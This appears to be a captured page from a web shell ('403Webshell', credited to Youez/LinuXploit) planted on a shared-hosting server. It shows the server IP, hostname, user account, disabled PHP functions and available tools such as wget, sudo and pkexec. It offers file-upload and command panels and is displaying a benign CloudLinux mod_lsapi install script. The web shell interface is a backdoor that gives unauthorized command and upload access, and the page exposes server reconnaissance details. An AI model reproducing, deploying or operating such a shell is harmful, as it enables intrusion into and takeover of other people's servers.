403Webshell
Server IP : 172.67.178.83  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/lve/modlscapi/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/lve/modlscapi/user/rpm_install
#!/bin/bash

#%copyright%

SOCKPATH="/var/mod_lsapi"

function is_ubuntu() {
    grep -q 'ubuntu' '/etc/os-release'
    return $?
}

if ! is_ubuntu; then
  CL_RELEASE_PKG=$(rpm -q --whatprovides /etc/redhat-release)
  CL_VERSION=$(rpm -q --qf "%{version}\n" ${CL_RELEASE_PKG})
  if [ "${CL_VERSION%%.*}" -lt "6" ]; then
      echo "Version $CL_VERSION is unsupported!"
      exit 1
  fi
fi

if [ ! -e /usr/local/bin/lsphp ]; then
    cp /opt/alt/php56/usr/bin/lsphp /usr/local/bin/
fi

if [ ! -e /etc/cl.selector/lsphp ] && [ -d /etc/cl.selector ]; then
    ln -s /usr/local/bin/lsphp /etc/cl.selector/lsphp
fi

NATIVE_CONF_PATH="/etc/cl.selector/native.conf"
LSPHP_DIRECTIVE="lsphp=/usr/local/bin/lsphp"
if ! grep -q "$LSPHP_DIRECTIVE" "$NATIVE_CONF_PATH"; then
  if [[ $(tail -c 1 "$NATIVE_CONF_PATH" | wc -l) -eq 0 ]]; then
    echo "" >> "$NATIVE_CONF_PATH" # Add newline
  fi
  echo "$LSPHP_DIRECTIVE" >> "$NATIVE_CONF_PATH"
fi

if [ -x /usr/sbin/cagefsctl ]; then
    /usr/sbin/cagefsctl --update-etc
    /usr/sbin/cagefsctl --setup-cl-selector
fi

echo "Reconfiguration completed"

if [ ! -e "$SOCKPATH" ]; then
    mkdir -p "$SOCKPATH"
fi

if ! is_ubuntu; then
  chown apache:apache "$SOCKPATH"
else
  chown www-data:www-data "$SOCKPATH"
fi
chmod 755 "$SOCKPATH"

Youez - 2016 - github.com/yon3zu
LinuXploit